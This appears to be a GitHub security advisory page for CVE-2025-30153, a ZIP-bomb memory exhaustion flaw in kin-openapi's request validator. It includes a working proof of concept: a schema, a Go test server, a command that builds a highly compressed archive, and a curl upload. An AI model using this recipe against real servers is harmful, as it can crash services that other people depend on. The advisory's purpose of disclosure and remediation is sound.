ghsa-wq9g-9vfc-cfq9
Vulnerability from github
Published
2025-03-19 18:12
Modified
2025-05-15 16:44
Summary
Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter
Details

Summary

When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.

Details

The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says.

PoC

To reproduce the vulnerability, you can use the following OpenAPI schema: yaml openapi: 3.0.0 info: title: 'Validator' version: 0.0.1 paths: /: post: requestBody: required: true content: multipart/form-data: schema: type: object required: - file properties: file: type: string format: binary responses: '200': description: Created And this code to validate the request (nothing fancy, it basically only calls the openapi3filter.ValidateRequest function`): ```go package main

import ( "fmt" "log" "net/http"

"github.com/getkin/kin-openapi/openapi3filter"
legacyrouter "github.com/getkin/kin-openapi/routers/legacy"

"github.com/getkin/kin-openapi/openapi3"

)

func handler(w http.ResponseWriter, r *http.Request) { loader := openapi3.NewLoader()

doc, err := loader.LoadFromFile("schema.yaml")
if err != nil {
    http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError)
    return
}

if err := doc.Validate(r.Context()); err != nil {
    http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest)
    return
}

router, err := legacyrouter.NewRouter(doc)
if err != nil {
    http.Error(w, "Failed to create router", http.StatusInternalServerError)
    return
}

route, pathParams, err := router.FindRoute(r)
if err != nil {
    http.Error(w, "Failed to find route", http.StatusNotFound)
    return
}

input := &openapi3filter.RequestValidationInput{
    Request:     r,
    QueryParams: r.URL.Query(),
    Route:       route,
    PathParams:  pathParams,
}

if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {
    http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest)
    return
}

w.Write([]byte("request ok !"))

}

func main() { http.HandleFunc("/", handler) log.Fatal(http.ListenAndServe(":8080", nil))

} ```

We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive: shell perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt

Run the PoC provided, and upload the zip bomb with curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v.

Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)

Impact

An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance. It seems to only be exploitable if the OpenAPI schema allows for multipart upload.

Remediation

I see at least 2 potential fixes/improvements: - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?) - Update ZipFileBodyDecoder to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/getkin/kin-openapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.131.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30153"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-19T18:12:53Z",
    "nvd_published_at": "2025-03-19T16:15:33Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.\n\n### Details\n\nThe root cause comes from the [ZipFileBodyDecoder](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523), which is registered [automatically](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275) by the module (contrary to what the [documentation says](https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse).\n\n### PoC\nTo reproduce the vulnerability, you can use the following OpenAPI schema:\n```yaml\nopenapi: 3.0.0\ninfo:\n  title: \u0027Validator\u0027\n  version: 0.0.1\npaths:\n  /:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              required:\n                - file\n              properties:\n                file:\n                  type: string\n                  format: binary\n      responses:\n        \u0027200\u0027:\n          description: Created\n```\nAnd this code to validate the request (nothing fancy, it basically only calls the `openapi3filter.ValidateRequest` function`):\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\tlegacyrouter \"github.com/getkin/kin-openapi/routers/legacy\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n)\n\nfunc handler(w http.ResponseWriter, r *http.Request) {\n\tloader := openapi3.NewLoader()\n\n\tdoc, err := loader.LoadFromFile(\"schema.yaml\")\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to load OpenAPI document\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tif err := doc.Validate(r.Context()); err != nil {\n\t\thttp.Error(w, \"Invalid OpenAPI document\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\trouter, err := legacyrouter.NewRouter(doc)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to create router\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\troute, pathParams, err := router.FindRoute(r)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to find route\", http.StatusNotFound)\n\t\treturn\n\t}\n\n\tinput := \u0026openapi3filter.RequestValidationInput{\n\t\tRequest:     r,\n\t\tQueryParams: r.URL.Query(),\n\t\tRoute:       route,\n\t\tPathParams:  pathParams,\n\t}\n\n\tif err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"Request validation failed: %v\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tw.Write([]byte(\"request ok !\"))\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handler)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n\n}\n```\n\nWe also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:\n```shell\nperl -e \u0027print \"0\" x 5000000000\u0027 \u003e /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt\n```\n\nRun the PoC provided, and upload the zip bomb with `curl localhost:8080/  -F file=\"@/tmp/bomb.zip;type=application/zip\" -v`.\n\nObserve the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.) \n\n### Impact\n\nAn attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance.\nIt seems to only be exploitable if the OpenAPI schema allows for multipart upload.\n\n### Remediation\n\nI see at least 2 potential fixes/improvements:\n - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)\n - Update `ZipFileBodyDecoder` to enforce a maximum size of the decompressed archive and bailout as soon as it\u0027s reached (probably with a small default value and allow the users to configure it through the input options ?)",
  "id": "GHSA-wq9g-9vfc-cfq9",
  "modified": "2025-05-15T16:44:40Z",
  "published": "2025-03-19T18:12:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-wq9g-9vfc-cfq9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30153"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/pull/1059"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/commit/67f0b233ffc01332f7d993f79490fbea5f4455f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getkin/kin-openapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…